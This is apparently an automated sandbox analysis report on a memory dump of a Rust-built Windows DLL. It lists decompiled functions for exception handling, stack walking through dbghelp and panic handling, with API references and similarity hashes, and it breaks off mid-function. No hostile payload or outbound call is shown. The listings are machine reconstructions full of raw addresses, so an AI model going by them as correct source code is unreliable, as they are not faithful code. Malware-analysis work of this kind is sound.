0x6edb7c30
0x6edb7c33
0x6edb7c36
0x6edb7c38
0x6edb7c3c
0x6edb7ce2
0x6edb7ce2
0x6edb7ce4
0x6edb7da2
0x6edb7da2
0x00000000
0x6edb7cea
0x6edb7cea
0x6edb7cee
0x6edb7cf0
0x6edb7cf4
0x6edb7cf9
0x6edb7cfc
0x00000000
0x6edb7d02
0x6edb7d02
0x6edb7d09
0x6edb7d09
0x6edb7d0b
0x6edb7d0e
0x6edb7d12
0x6edb7d20
0x6edb7d20
0x6edb7d25
0x6edb7d27
0x00000000
0x00000000
0x6edb7d2b
0x6edb7d2e
0x6edb7d31
0x6edb7d5e
0x6edb7d65
0x6edb7d67
0x6edb7d73
0x6edb7d75
0x6edb7d78
0x6edb7d7a
0x6edb7d81
0x6edb7dbb
0x6edb7dbb
0x00000000
0x6edb7d83
0x6edb7d88
0x6edb7d8a
0x6edb7d8a
0x6edb7d8c
0x6edb7d8f
0x6edb7dbd
0x6edb7dbd
0x00000000
0x6edb7d91
0x6edb7d91
0x6edb7d95
0x6edb7d99
0x6edb7d9c
0x6edb7d9e
0x00000000
0x6edb7da0
0x00000000
0x6edb7da0
0x6edb7d9e
0x6edb7d8f
0x6edb7d33
0x6edb7d35
0x6edb7d38
0x6edb7d3b
0x6edb7d52
0x6edb7d55
0x6edb7d58
0x00000000
0x6edb7d5a
0x6edb7d5a
0x6edb7d5a
0x00000000
0x6edb7d5a
0x6edb7d3d
0x6edb7d3d
0x6edb7d5c
0x6edb7d5c
0x00000000
0x6edb7d5c
0x6edb7d3b
0x00000000
0x6edb7d31
0x6edb7da6
0x6edb7da8
0x6edb7da8
0x6edb7dab
0x6edb7dae
0x6edb7db1
0x00000000
0x6edb7db3
0x6edb7db3
0x00000000
0x6edb7db3
0x6edb7db1
0x6edb7cfc
0x6edb7c42
0x6edb7c42
0x6edb7c44
0x00000000
0x6edb7c4a
0x6edb7c4a
0x6edb7c4e
0x00000000
0x6edb7c54
0x6edb7c54
0x6edb7c5b
0x6edb7c5d
0x6edb7c5f
0x6edb7c62
0x6edb7c63
0x6edb7c65
0x6edb7c67
0x6edb7c6a
0x6edb7dbf
0x6edb7dbf
0x6edb7dc2
0x6edb7dc4
0x6edb7ded
0x6edb7ded
0x6edb7df0
0x00000000
0x6edb7dc6
0x6edb7dd0
0x6edb7dd2
0x6edb7ddc
0x6edb7ddd
0x6edb7de2
0x6edb7de7
0x6edb7de9
0x6edb7deb
0x00000000
0x00000000
0x6edb7deb
0x6edb7c70
0x6edb7c73
0x6edb7c75
0x6edb7c76
0x6edb7c7b
0x00000000
0x6edb7c81
0x6edb7c81
0x6edb7c85
0x00000000
0x6edb7c8b
0x6edb7c8e
0x6edb7c92
0x6edb7c97
0x6edb7c9a
0x6edb7c9f
0x6edb7ca2
0x6edb7ca8
0x6edb7cad
0x6edb7cb3
0x6edb7cbc
0x6edb7cc1
0x6edb7cc7
0x6edb7cd1
0x6edb7cd5
0x6edb7cda
0x6edb7cda
0x6edb7c85
0x6edb7c7b
0x6edb7c6a
0x6edb7c4e
0x6edb7c44
0x00000000
0x6edb7c0e
0x6edb7c0e
0x6edb7c11
0x6edb7c13
0x6edb7df3
0x6edb7df3
0x6edb7df3
0x6edb7df5
0x6edb7c19
0x6edb7c1e
0x6edb7c20
0x6edb7c25
0x6edb7c13
0x6edb7dfc
0x6edb7dfc
0x6edb7a2c
0x6edb7a23
0x6edb789f
0x6edb786a
0x6edb786a
0x6edb786e
0x00000000
0x00000000
0x00000000
0x00000000
0x6edb786e
0x6edb7868
0x6edb7860
0x6edb784f
0x6edb784a
0x00000000
0x6edb7840
0x6edb7820
0x00000000
0x6edb7803
0x6edb77b7
0x6edb77b7
0x6edb77bc
0x6edb796b
0x6edb796b
0x6edb796b
0x6edb77c2
0x6edb77c7
0x6edb77d1
0x6edb77d1
0x6edb796d
0x6edb7976
0x6edb7976
0x00000000

APIs

__aullrem.LIBCMT ref: 6EDB78E3
__aulldiv.LIBCMT ref: 6EDB78F3

Strings

bool, xrefs: 6EDB7A4B
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDB77C2, 6EDB7C19
{recursion limit reached}{invalid syntax}, xrefs: 6EDB7DC6
called `Option::unwrap()` on a `None` value, xrefs: 6EDB7B7C

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: a933e09606d7311994278810ccd79a35e3e8345eafcb9e9ba506480375c49da3
Instruction ID: ba56fcee08fa3ec30e5c175b2d4cfef2f4eb5200149ed3e7cd193d64c1775d29
Opcode Fuzzy Hash: a933e09606d7311994278810ccd79a35e3e8345eafcb9e9ba506480375c49da3
Instruction Fuzzy Hash: 44E1F6B1A08741EFD704CFA8C49076AB7E1AF86354F148A6DD8DA8B3D1E734E846C752

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCAB0C, Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EDCAB0C(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E6EDCAC27(_t34);
				 *_t60 = 0x2cc;
				_v632 = E6EDCC310(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E6EDCC310(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E6EDCAC27(_t49);
				}
				return _t49;
			}

0x6edcab0c
0x6edcab0c
0x6edcab0c
0x6edcab20
0x6edcab22
0x6edcab25
0x6edcab25
0x6edcab29
0x6edcab2e
0x6edcab46
0x6edcab4c
0x6edcab52
0x6edcab58
0x6edcab5e
0x6edcab64
0x6edcab6a
0x6edcab71
0x6edcab78
0x6edcab7f
0x6edcab86
0x6edcab8d
0x6edcab94
0x6edcab95
0x6edcab9e
0x6edcaba4
0x6edcaba7
0x6edcabad
0x6edcabbc
0x6edcabc8
0x6edcabd3
0x6edcabda
0x6edcabe1
0x6edcabec
0x6edcabf4
0x6edcabfd
0x6edcabff
0x6edcac02
0x6edcac04
0x6edcac0e
0x6edcac16
0x6edcac1c
0x00000000
0x6edcac23
0x6edcac26

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6EDCAB18
IsDebuggerPresent.KERNEL32 ref: 6EDCABE4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EDCAC04
UnhandledExceptionFilter.KERNEL32(?), ref: 6EDCAC0E

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 02ab12af02d5fcebbd41d60c1c167b5ecc73b4420e2e264ac4e4df72e5c904d9
Instruction ID: 6eed6c862daa1d2345d21b188641273108f19290f4fab54227ea4f3655fe0ae8
Opcode Fuzzy Hash: 02ab12af02d5fcebbd41d60c1c167b5ecc73b4420e2e264ac4e4df72e5c904d9
Instruction Fuzzy Hash: 6D316B79D0121CDBDF11DFA0D989BCCBBB8AF08744F10459AE00DAB240EB759A85CF15

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBDEE0, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EDBDEE0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6EDC3B90;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6EDCC310(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6edfd0bc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6EDD7370(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6EDD6DB0(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6edfded0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6EDC0EC0(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6ee0adc8, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6ee0adc8, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6ee0adc8, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6edfd5c8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6edfcd60;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6EDB2320( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6ee0adc8, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6edfd5d0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6EDCC310(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6EDC9EEE();
						_t217 = E6EDBE690(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6ee0ade8; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6ee0add0, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6EDD6E20(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edfe2c0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6ee0ade8 = _t218;
									_t267 =  *0x6ee0adec; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6ee0adec; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6ee0adf8; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6EDCC310(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6EDBE890(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6ee0add0, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6EDCC310(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6ee0ade4; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6ee0add0, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6EDD6E20(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edfe2c0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6ee0ade4 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6EDBE890(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6ee0adf8 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6ee0add0, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6EDD6E20(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edfe2c0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6EDBE880( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6ee0adec = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6ee0adc8, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6edfd63c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6edfcd60;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6EDB2320( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

APIs

SetLastError.KERNEL32(00000000), ref: 6EDBDFF2
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6EDBDFFA
GetLastError.KERNEL32 ref: 6EDBE006
GetLastError.KERNEL32 ref: 6EDBE018
GetLastError.KERNEL32 ref: 6EDBE07C
HeapFree.KERNEL32(00000000,00000000), ref: 6EDBE0AD
HeapFree.KERNEL32(00000000,?), ref: 6EDBE0F7
HeapFree.KERNEL32(00000000,?), ref: 6EDBE108
GetCurrentProcess.KERNEL32(?), ref: 6EDBE1E1
GetCurrentThread.KERNEL32 ref: 6EDBE1E9
RtlCaptureContext.KERNEL32(?), ref: 6EDBE209
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6EDBE24A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6EDBE274
GetCurrentProcess.KERNEL32 ref: 6EDBE289
GetProcAddress.KERNEL32(StackWalkEx), ref: 6EDBE2AB
ReleaseMutex.KERNEL32(?), ref: 6EDBE398
HeapFree.KERNEL32(00000000,?), ref: 6EDBE41B
HeapFree.KERNEL32(00000000,?,?), ref: 6EDBE44D
GetProcAddress.KERNEL32(StackWalk64), ref: 6EDBE4F5

Strings

StackWalkEx, xrefs: 6EDBE2A0
StackWalk64, xrefs: 6EDBE4EA
SymGetModuleBase64, xrefs: 6EDBE269
SymFunctionTableAccess64, xrefs: 6EDBE23F
called `Option::unwrap()` on a `None` value, xrefs: 6EDBE57C, 6EDBE59F, 6EDBE5C2

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: 6e59ac6c3fc60efd482b285281254a85b88c6d2dfaf2858f88d6cf0aaa7e2e6d
Instruction ID: c8f2202d44c67deda84327ac55440ba3de3893212ad0ab4ce09321154f82187f
Opcode Fuzzy Hash: 6e59ac6c3fc60efd482b285281254a85b88c6d2dfaf2858f88d6cf0aaa7e2e6d
Instruction Fuzzy Hash: C11202B1600B04DFE761CFA5C884B97BBF9AB49708F00492DD9AB8B690E771F449CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC8C0, Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6EDBC8C0(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = E6EDC3B50;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6ee0adc0], esi");
				_t190 = E6EDBD1B0(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6EDD6EE0(_t264,  &M6EDFD0E7, 0x46, _t337,  &_v68, 0x6edfd060, 0x6edfd1ac);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6edfcd60;
						_v120 = 0x6edfd014;
						_v68 = 0x6edfda50;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
